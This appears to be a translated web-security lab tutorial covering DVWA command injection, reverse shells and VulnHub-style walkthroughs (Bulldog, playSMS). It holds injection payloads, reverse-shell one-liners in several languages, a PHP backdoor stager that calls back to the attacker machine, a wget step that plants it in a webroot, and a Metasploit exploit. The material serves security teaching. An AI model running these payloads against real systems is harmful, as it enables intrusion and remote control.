WEB security practice (with shooting range) – command execution

WEB security practice (with shooting range) – command execution

Range 1: Command execution in DVWA

Shooting Range 2: Shooting Range Experiment Command Execution

Comprehensive experiment 1 link (please notify in the comment area if it is invalid)
Link: https://pan.baidu.com/s/11hFpAiPaxnxxsc-qmVk93w Extraction code: ka9r Link: https://pan.baidu.com/s/1EhFUQ5si5pylFlSKRpN3Ug Extraction code: bkgyComprehensive experiment 3 link (please notify in the comment area if it is invalid) Link: https://download.vulnhub.com/bulldog/bulldog.ova
Comprehensive Experiment 2 Link (please notify in the comment area if it is invalid)


Brute Force (command execution)

Range 1: Command execution in DVWA

Introduction to DVWA

DVWA (Damn Vulnerable Web Application) is a PHP/MySQL used for security vulnerability identification
Web application designed for security professionals to test their professional skills and tools Provide a legal environment to help web developers better understand the process of web application security prevention.

DVWA has ten modules, namely Brute Force (brute force (cracking)), Command
Injection (command line injection), CSRF (cross-site request forgery), File Inclusion ( File contains), File
Upload (file upload), Insecure CAPTCHA (insecure verification code), SQL Injection (SQL injection), SQL
Injection (Blind ) (SQL blind injection), XSS (Reflected) (reflected cross-site scripting), XSS (Stored) (stored cross-site scripting).

It should be noted that the code of DVWA
1.9 is divided into four security levels: Low, Medium, High, and Impossible. Beginners can get exposed to some PHP code auditing content by comparing four levels of code.

Insert image description here

DVWA construction

This article on Freebuf "WEB Shooting Range Construction Tutorial (PHPstudy+SQLllib+DVWA+upload-labs)" (https://www.freebuf.com/articles/web/270837.html) has been written very well. I won’t go into details here.

Vulnerability: Command Injection

Command Injection refers to destroying the command statement structure by submitting maliciously constructed parameters to achieve the purpose of executing malicious commands. PHP command injection attack vulnerability is one of the common script vulnerabilities in PHP applications. Famous domestic web applications such as Discuz! and DedeCMS have had this type of vulnerability.

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-xkllYrvT-1671609096127)(media/5411c76ffe231e1650eb7d7263d326f1.png)]

The four levels of code are analyzed below.

Level: Low

Server-side core code

\<?php

if( isset( \$_POST[ 'Submit' ] ) ) {
    
    

// 获取输入赋值给target

\$target = \$_REQUEST[ 'ip' ];

// 确定操作系统并执行ping命令

if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    
    

// 这里是Windows系统命令是ping

\$cmd = shell_exec( 'ping ' . \$target );

}

else {
    
    

\$cmd = shell_exec( 'ping -c 4 ' . \$target );

}

// 结果反馈

echo "\<pre\>{\$cmd}\</pre\>";

}

?\>;

Introduction to related functions

stristr(string,search,before_search)

The stristr function searches for the first occurrence of a string in another string and returns that string plus the remaining parts.

(例如echo stristr("Hello world!","wo");最后结果是world!),如果未找到所搜索的字符串,则返回
 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII
 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search
 参数第一次出现之前的字符串部分。

php_uname(mode)


这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a”(此为默认,包含序列”s n r v
 m”里的所有模式),”s”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息),
”m”(返回机器类型)。 可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

exploit

window和linux系统都可以用&&来执行多条命令

127.0.0.1&&net user

**shell_exec(string \$cmd): string**

通过shell执行命令并将完整输出作为字符串返回

PHP的命令执行函数主要有:system、exec、passthru、shell_exec

**\<pre\>**

Html元素标签,常用来表示计算机的源代码

exploit

Both window and linux systems can use relational operators to execute multiple commands.

"&": If the previous statement is false, the following statement will be executed directly. The previous statement can be true or false.

"&&": If the previous statement is true, the first command is executed first and then the second command is executed.

"||": If an error occurs in the execution of the previously executed statement, the subsequent statement will be executed.

"|": Directly execute the following statement

";" After executing the previous command, execute the following command

**Commonly used URL encoding:

** %20 = empty
%5c = \
%26 = &
%7c = |

For example: 127.0.0.1&&dir

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-qsKFJRld-1671609096127) (media/4f43e4d1de3469efceb745102f845707.png)]

If you enter 127.0.0.1&&cat /etc/shadow under Linux, you can even read the shadow file, which shows how harmful it is.

Practice commands:

127.0.0.1 && ifconfig

127.0.0.1 & whoami

127.0.0.1 | whoami

127.0.0.1 || ifconfig

Level: Medium

Server-side core code

<?php

if( isset( $_POST[ ‘Submit’ ] ) ) {

// Get input

$target = $_REQUEST[ ‘ip’ ];

//Set blacklist

$substitutions = array(

‘&&’ => ‘’,

‘;’ => ‘’,

);

//Delete characters in the blacklist array.

$target = str_replace( array_keys( $substitutions ),
$substitutions, $target );

if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {

$cmd = shell_exec( 'ping ’ . $target );

}

else {

$cmd = shell_exec( 'ping -n 4 ’ . $target );

}

echo “<pre>{$cmd}</pre>”;

}

?>

str_replace function

str_replace(find,replace,string,count)

parameter describe
find Required. Specifies the value to look for.
replace Required. Specifies a value that replaces the value in find.
string Required. Specifies the string to be searched for.
count Optional. A variable counting the number of substitutions.

array_keys() function

Returns a new array containing all keys in the array.

For example

<?php

$a=array(“x”=>“A”,“y”=>“B”,“z”=>“C”);

print_r(array_keys($a));

?>

/*result:

Array ( [0] => x [1] => y [2] => z )

*/

exploit

From the above code, we can see that only the ; and && symbols are filtered, and we can still use |, || and &.

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-vLkZGamw-1671609096127)(media/173d68995ae91363324a59b0b89ea51c.png)]

Method 2: Since str_replace is used to replace "&&" and ";" with empty characters, it can be bypassed in the following ways:

127.0.0.1&;&ipconfig

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-s0y6kJP6-1671609096128) (media/02c9a13e1909b968ff027f492d6181da.png)]

Level: High

Source code analysis

<?php

if( isset( $_POST[ ‘Submit’ ] ) ) {

$target = trim($_REQUEST[ ‘ip’ ]);

$substitutions = array(

‘&’ => ‘’,

‘;’ => ‘’,

'| ’ => ‘’,

‘-’ => ‘’,

‘$’ => ‘’,

‘(’ => ‘’,

‘)’ => ‘’,

‘`’ => ‘’,

‘||’ => ‘’,

);

$target = str_replace( array_keys( $substitutions ),
$substitutions, $target );

if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {

$cmd = shell_exec( 'ping ’ . $target );

}

else {

$cmd = shell_exec( 'ping -n 4 ’ . $target );

}

echo “<pre>{$cmd}</pre>”;

}

?>

Compared with Medium-level code, High-level code further improves the blacklist, but due to the limitations of the blacklist mechanism, we can still bypass it.

exploit

The blacklist seems to filter out all illegal characters, but if you observe carefully, it replaces "|" (note that there is a space after | here) with a blank character, so "|" becomes a "fish that slips through the net."

127.0.0.1|dir

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-RXHA5x1J-1671609096129) (media/0a1a641494e6594dac80b3841395c96c.png)]

Method 2:

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-ntxva1Nv-1671609096130) (media/b357c3ad843c4bf76c319b2ea12f31e5.png)]

After looking at the above picture, you may have doubts. There is obviously filter || in the source code, why can it still be executed?
Let’s take a closer look at its blacklist order:

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-mtceu6oc-1671609096131) (media/050441f157e22bb6d1273bede77f5ec3.png)]

As you can see from the above, it does have filtering ||, but did you notice the order! ! It searches for escapes from top to bottom. It first escapes | spaces.

So 127.0.0.1 || ipconfig becomes 127.0.0.1 |ipconfig after filtering. Therefore, the final execution command becomes 127.0.0.1 |ipconfig

Level: Impossible

Source code analysis

<?php

if( isset( $_POST[ ‘Submit’ ] ) ) {

// Check for anti-CSRF token

checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ],
‘index.php’ );

$target = $_REQUEST[ ‘ip’ ];

$target = stripslashes( $target );

// Split the IP into 4 eighths

$octet = explode( “.”, $target );

// Check if each octet is an integer

if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && (
is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && (
sizeof( $octet ) == 4 ) ) {

// If all four octets are ints, put the IPs back together.

$target = $octet[0] . ‘.’ . $octet[1] . ‘.’ . $octet[2] . ‘.’ .
$octet[3];

if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {

$cmd = shell_exec( 'ping ’ . $target );

}

else {

$cmd = shell_exec( 'ping -n 4 ’ . $target );

}

echo “<pre>{$cmd}</pre>”;

}

else {

//Inform the user that the input is incorrect

echo ‘<pre>ERROR: You have entered an invalid IP.</pre>’;

}

}

// Generate anti-CSRF token

generateSessionToken();

?>

Introduction to related functions

stripslashes(string)

The stripslashes function removes backslashes from a string and returns a string with the backslashes stripped.

explode(separator,string,limit)

Here is the quote

Break the string into an array and return an array of strings. The separator parameter specifies where to split the string, the string parameter is the string to be split, and the optional limit parameter specifies the number of array elements returned.

is_numeric(string)

Checks whether string is a number or a numeric string, if so it returns TRUE, otherwise it returns FALSE.

It can be seen that the Impossible level code adds Anti-CSRF; token, and strictly limits the parameter IP. Only input such as "number.number.number.number" will be received and executed, so there is no command injection. loopholes.

Comprehensive experiment 1: WEB security command execution

lab environment

Attack machine: kali ip as shown in the picture 192.168.31.15

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-KgoIdajr-1671609096131) (media/219bd04beabac18cb85eeabbcb1a15ca.png)]
Shooting range machine: ubuntu ip as shown in the picture 192.168.31.244

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-QpCvxt22-1671609096131) (media/80970018cc2fcf10ead7a62888029bfe.png)]

Step One: Information Detection

Scan host service information and service version

– nmap -sV range IP address

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-6FRmaQNW-1671609096132) (media/30664ef68015fa31bc2b48fa7d2b4e79.png)]

Quickly scan all host information

– nmap -T4 -A -v range IP address

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-NdSMwC70-1671609096133) (media/d5d5c46fb3120f7e2f1bc65e9e0ca52e.png)]

Detect sensitive information

– nikto -host http://shooting range IP address:port

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-VAlgf2cc-1671609096133) (media/7db37145fef4ee0752431b19db4a5405.png)]

Visit this page based on the information collected

The first page: http://192.168.31.244:8080/

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-QuRKR5o6-1671609096133) (media/7fdf3705dc9cb9d3950c7874d226477d.png)]

Then visit the second page http://192.168.31.244:8080/test.jsp

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-ruIUWinn-1671609096133) (media/d95eb66b5f194bba89935f72f1fcdac0.png)]

Enter ls -l /tmp as prompted

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-2Mmy0Iyw-1671609096134)(media/7383deae276f17e0293b0779a26a3aff.png)]

You can view the home directory files. Found user bill

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-SLMeQLio-1671609096134) (media/7bba6aaf6c328edf56da3c26a24ba9eb.png)]

Check the directory file of the bill user and find that you can remotely ssh and use the sudo command

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-EAG5yT3Q-1671609096134) (media/2e2f14c0ac6c6050436c60ec4115b290.png)]

We use the ssh command to check root permissions

ssh bill@localhost sudo -l

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-IJHxfiDF-1671609096135) (media/f926c4eae2a27ff10414c9afbb10ec02.png)]

Turn off ubuntu firewall command: ufw disable

ssh bill@localhost sudo ufw disable

Attack method: rebound shell

Attack machine starts monitoring Netcat introduction

Netcat (nc for short) is a powerful command line network tool used to establish a TCP/UDP connection between two machines and read and write data through standard input and output.

port scan

Netcat is used to discover open ports on some machines

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-v38FqZ5w-1671609096135)(media/f1ddd04926463a40def6db1f351d290d.png)]

Transfer files

Similarly, by establishing a TCP connection, files can be easily transferred between two hosts. If you want to send test.txt on server A to server B (IP address is 172.16.0.4),

Execute on server A nc 172.16.0.4 9999 < test.txt

Execute on server B nc -l 9999 > test.txt

forward shell

Using Netcat can achieve functions similar to ssh, that is, exposing the shell terminal of the target machine to a certain port, and then the local machine uses Netcat to connect to the target machine, and then the shell terminal of the target machine can be accessed.

Execute on the target machine nc -l 9999 | /bin/bash

Execute on local machine nc 172.16.0.4 9999

Although we can use the local machine to transfer commands to the target machine for execution, it is still a little different from the ssh connection because the execution results of the command cannot be seen on the local machine. This problem can be solved cleverly using pipelines and executed on the target machine

\$ mkfifo /tmp/pipe

\$ cat /tmp/pipe \| /bin/bash 2\>&1 \| nc -l -p 9999 \> /tmp/pipe

The main functions of the above two commands are as follows:

  • Create a named pipe using the mkfifo command
  • Then read the contents of /tmp/pipe through the cat command and send the contents to /bin/bash through the pipe
  • Send the execution results of /bin/bash to nc through the pipeline
  • nc will save the commands received from the local machine to /tmp/pipe
  • The commands in /tmp/pipe are read by cat and transferred to /bin/bash, completing the entire data flow.
  • Now you can receive the execution results of the /bin/bash command on your local machine.

To get back to the truth:

Rebound shell method
  1. nc rebound shell

Attack machine: nc -lvp 9999 // Listen to port 9999

Target machine: nc 1.1.1.1 9999 -e /bin/bash // Linux forwardly connects to the 9999 port of the public network vps1.1.1.1

nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows

  1. Bash rebound shell

Attack aircraft: nc -lvp 6666

靶机:bash -i >& /dev/tcp/192.168.32.1/6666 0>&1

3. Python rebound shell

Attack aircraft: nc -lvp 6666

靶机:python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.32.1”,6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’

4. PHP reverse shell

Attack aircraft: nc -lvp 6666

靶机:php -r ‘$sock=fsockopen(“192.168.32.1”,6666);exec(“/bin/sh -i <&3
>&3 2>&3”);’

5. Perl rebound shell

Attack aircraft: nc -lvp 6666

靶机:perl -e ‘use Socket;
$i=“192.168.32.1”;$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/sh
-i”);};’

Here we use the second method to use bash to rebound the shell

The attack machine kali starts listening on port 6666

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-Aq02qNRH-1671609096135) (media/ceb9e8ea3c62b02ff015bfdd9caae186.png)]

We use the ssh command to perform shell rebound on the target machine.

命令:ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.31.15/6666 0>&1

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-cXkhFQEY-1671609096135) (media/9dc9bd50e1ec09569e02ae4d76f0465b.png)]

At this point our kali monitoring is successful

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-hvknxQFA-1671609096136) (media/70eadc7d3d8c5d15a734cb8445412a47.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-vcWaIzY0-1671609096136) (media/63622dc5367a0a742e72e009c78c8a1b.png)]

Get the flag value and the experiment is over.

Penetration testing skills, downloading shell files remotely

The attack machine kali starts the apache service

systemctl start apache2.service

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-9w7hRvWg-1671609096136) (media/10fdc9e1d0c7f92558bf74a15514ed71.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-YDZDa1Eb-1671609096136)(media/a208f5e0142cc61396a4b60e61e8c205.png)]

Use command execution to download Trojan files

ssh bill@localhost sudo wget “http://192.168.31.15/shell.php” -O /var/lib/tomcat8/webapps/ROOT/shell.php

Or use python to open a simple http server

Python3 -m http.server 8080

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-1blF4PAt-1671609096137) (media/0f21d76ddd249e7adce6b1121aab82d1.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-ppNvqWnv-1671609096137) (media/bb83aba3c20251bd13612416b32421e8.png)]

Use command execution to download Trojan files

ssh bill@localhost sudo wget “http://192.168.31.15:8080/shell.php” -O /var/lib/tomcat8/webapps/ROOT/shell.php

Make the shell.php file and copy it to the /var/www/html directory

Copy the Trojan source code

\<?php /\*\*/ error_reporting(0); \$ip = '**192.168.31.15**'; \$port = **4444**; if ((\$f = 'stream_socket_client') && is_callable(\$f)) {
    
     \$s = \$f("tcp://{\$ip}:{\$port}"); \$s_type = 'stream'; } if (!\$s && (\$f = 'fsockopen') && is_callable(\$f)) {
    
     \$s = \$f(\$ip, \$port); \$s_type = 'stream'; } if (!\$s && (\$f = 'socket_create') && is_callable(\$f)) {
    
     \$s = \$f(AF_INET, SOCK_STREAM, SOL_TCP); \$res = @socket_connect(\$s, \$ip, \$port); if (!\$res) {
    
     die(); } \$s_type = 'socket'; } if (!\$s_type) {
    
     die('no socket funcs'); } if (!\$s) {
    
     die('no socket'); } switch (\$s_type) {
    
     case 'stream': \$len = fread(\$s, 4); break; case 'socket': \$len = socket_read(\$s, 4); break; } if (!\$len) {
    
     die(); } \$a = unpack("Nlen", \$len); \$len = \$a['len']; \$b = ''; while (strlen(\$b) \< \$len) {
    
     switch (\$s_type) {
    
     case 'stream': \$b .= fread(\$s, \$len-strlen(\$b)); break; case 'socket': \$b .= socket_read(\$s, \$len-strlen(\$b)); break; } } \$GLOBALS['msgsock'] = \$s; \$GLOBALS['msgsock_type'] = \$s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
    
     \$suhosin_bypass=create_function('', \$b); \$suhosin_bypass(); } else {
    
     eval(\$b); } die();

Msf detection

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-EyZcKOHr-1671609096138)(media/c5a614f0b9d3ca94133917ea70febc88.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-bhxgWHnC-1671609096138) (media/deff7ffbc01a81d547c26108217913a7.png)]

Comprehensive experiment 2: bulldog

Insert image description here

Integration tool SPARTA (kali renamed to legion)

Introduction to Legion

Legion is a fork of SECFORCE's Sparta and is an open source, easy-to-use, ultra-scalable and semi-automated network penetration testing framework, targeting the discovery, reconnaissance and exploitation of vulnerabilities in information systems.
Legion is developed and maintained by GoVanguard. More information about Legion, including a product roadmap, can be found on its project page. Automated reconnaissance and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and more (with nearly 100 automatically scheduled scripts

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-3SxBRp0D-1671609096139)(media/71c367be3482f3a22c39f9245ed2a8a2.png)]

Use dirbuster to brute force website directories

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-dwYdMV9c-1671609096139)(media/64665584313f802f9198bb493998bfe7.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-M3NsqGKz-1671609096140) (media/d4cb98cac03e3c170abf1652d9136b41.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-ms8NQ5oR-1671609096140) (media/fa57dd495953282ff8c2cbd036f2e4e2.png)]

You can also use nikto to find sensitive directories (not explained here). The dev directory is found here.

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-DsZVujL4-1671609096140) (media/5f58bd32ff21a2920922ee6308759d5f.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-YOuvUqDd-1671609096141) (media/568cc28581ac09118546e87d8bc01832.png)]

Click web-shell, and the following reply will appear. You need to log in as a user.

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-0QTUIF1Q-1671609096141) (media/024d17915502469270f8d2ceb552879b.png)]

We checked the source code of the web-shell page for analysis and found that there are comment lines.

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-YElfinKy-1671609096141)(media/fa847e897e716d75f4395a426793aa58.png)]

Team Lead: [email protected]<br><!–6515229daf8dbdc8b89fed2e60f107433da5f2cb–>

Back-up Team Lead: [email protected]<br><br><!–38882f3b81f8f2bc47d9f3119155b05f954892fb–>

Front End: [email protected]<br><!–c6f7e34d5d08ba4a40dd5627508ccb55b425e279–>

Front End: [email protected]<br><br><!–0e6ae9fe8af1cd4192865ac97ebf6bda414218a9–>

Back End: [email protected]<br><!–553d917a396414ab99785694afd51df3a8a8a3e0–>

Back End: [email protected]<br><br><!–ddf45997a7e18a25ad5f5cf222da64814dd060d5–>

Database: [email protected]<br><!–d8b8dd5e7f000b8dea26ef8428caf38c04466b3e–>

Copy them separately for hash decryption

You can use the online decryption URL:https://www.cmd5.com/

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-HsU2dahi-1671609096141) (media/20af0a3e1ecb1a32b9a496b083ddac4b.png)]

Or use john to decrypt

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-BsQmiZ9z-1671609096142) (media/f97a8f01f2206fc02a8bf7e4e5f33f27.png)]

Here we get a user name: nick and password: bulldog. After logging in, there is a cookie cache on the page. At this time, our web-shell can be opened normally.

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-MamsmuZO-1671609096142)(media/b2ae3354c763bcb5e8492e6df5e80d58.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-SpnC2EB3-1671609096143) (media/ac75f1b198a5a8fde86604431406db4a.png)]

At this point we open the web-shell page

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-gqpTa1G9-1671609096143) (media/6c3f5531d1da97a0ec5023dc2ce932d7.png)]

Found the command execution window

Use echo command for shell rebound

echo ‘bash -i >& /dev/tcp/192.168.31.15/6666 0>&1’ | bash

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-qxHkiunl-1671609096144)(media/77451602ec9fa1a5e759e9ffba43d4c8.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-gWq4nN1A-1671609096144) (media/c4db577951716228e786e35a68653169.png)]

Enter the directory and find the customPermissionApp file and note list

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-bVnry1vV-1671609096144) (media/7d7519e43a56b6e632fc6714065b2be9.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-OXtIJFV0-1671609096145) (media/f76fe9928e6e16967e2fd50f2284082e.png)]

Password:SUPERultimatePASSWORDyouCANTget

Use the sudo su command (the sudo su command switches to the root user and requires the current user's password)

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-jWuSPish-1671609096145)(media/1c397c88f24a6004cd5f9bf4b83f10eb.png)]

Finally, switch to the root directory to get the final congratulations

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-3Dthvqtb-1671609096146) (media/360911dfc488cdab9bb817de45029047.png)]

Comprehensive Experiment 3: Command Injection (Multiple Analysis)

lab environment

Attack machine: kali ip as shown in the picture 192.168.31.15

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-o3IW09fF-1671609096146) (media/219bd04beabac18cb85eeabbcb1a15ca.png)]

Shooting range machine: ubuntu ip as shown in the picture 192.168.31.47

Insert image description here

Step One: Information Detection

Quickly scan all host information

– nmap -T4 -A -v range IP address

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-To4WuPAg-1671609096147) (media/a33d3f7dc13fa74a46df5b3d97ce6e75.png)]

Found that port 80 is open, as well as the robots.txt file, and /ange1 /angel1 /nothing /tmp /uploads

five directories

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-UoFCbD8o-1671609096148)(media/2613133c6a897ef63a45e852170d1876.png)]

Detect sensitive information

– nikto -host http://shooting range IP address:port

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-jC7KkGny-1671609096148) (media/3d59853ca37768e2a4f1004c82fc5b11.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-EFanogpq-1671609096149) (media/054e2b780c5426a5a54f295392ce7b25.png)]

Or use the tool legion to detect

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-MNlGNWje-1671609096149)(media/04dda1dfd268d47958dc0ea0226b0ee6.png)]

For more brute-force cracking directories, you can also use the dirbuster tool or the command dirb http://ip:port

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-zjiVV4LJ-1671609096150)(media/505a1eb67a89023623d3da61d4a4e028.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-wQMD87wS-1671609096150) (media/99a2f356b892fda8ba1e7336e72ce262.png)]

Next, let’s access the directory we just scanned.

/robots.txt found several directories

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-W6JLIt7T-1671609096150)(media/06dce1da0c9d076cf8bde9279a5c6d61.png)]

There is no useful information when visiting the /angel /noting /tmp /uploads web page (check the source code here!!)

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-YgkjKxPG-1671609096150)(media/97414b0a68f739b5ff0a29c7b6d46e01.png)]

View/nothing source code

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-vf5krDBE-1671609096151) (media/0a4f7628f3d70ad6922183b83782a84c.png)]

Then visit

http://192.168.31.47/secure/ I found a backup file and opened it as an MP3 file that requires a password (the password is freedom in the picture above)

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-jQKxbKa7-1671609096151) (media/3eb999dbad60dd70ad5cc27636476ea3.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-HjZ1597I-1671609096151) (media/bb71e8a7bcaecae72b3fe4995cf5ecf5.png)]

But the file cannot be opened. It may not be an mp3 file. You need the file command to determine the file type and cat to read the file content.

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-VmLyWPCB-1671609096151)(media/d76c82d2731a9fa975ea6ec64b0fab0c.png)]

The username found is touhid

And the directory url: /SecreTSMSgatwayLogin, access the directory to find the login page

http://192.168.31.47/SecreTSMSgatwayLogin/index.php?app=main&inc=core_auth&route=login

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-uVVL9D1F-1671609096152)(media/4824929302f51aa7010e50b42eb74212.png)]

Username: touhid

After trying the password, I found it was diana.

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-WNyUM3Lv-1671609096152) (media/04b13c1791a1068239a4532003d28b33.png)]

Use penetration testing toolssearchsploit to detect exploitable vulnerabilities in the website

Command format: searchsploit corresponding system

For example here: searchsploit playsms

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-5hCOtE6B-1671609096152) (media/a4d8faf510e970558ba062856c931b15.png)]

Check the latest vulnerabilities

A command execution vulnerability was discovered

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-ZcOwD4rG-1671609096152) (media/9c127e882065861268cf2bf6cae476eb.png)]

There is a file upload vulnerability

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-6dVA8dCD-1671609096153)(media/111b321f6aa9ffd095029a366e8b3dff.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-7TJRmnoO-1671609096153) (media/c36a48aaab5c50f33297951a2a206cc4.png)]

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-uYsoOJNQ-1671609096154) (media/d88d56a87c03a410af70fbbda9b59bf7.png)]

Use burpsuite to capture packets. According to the vulnerability prompt, command execution can be performed at filename.

<?php system(‘id’);die(); ?>.php

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-hRxWNlEm-1671609096154) (media/2b6a62ec0e763c83405a3329b077c0df.png)]

Exploit 1: Command Execution Vulnerability

**
**

[The external link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-QOiRYeCx-1671609096154)(media/62ef86ad35049143a017eac6420eabe3.png)]

Use the 2nd module

use exploit/multi/http/playsms_filename_exec

and view the options that need to be configured

show options

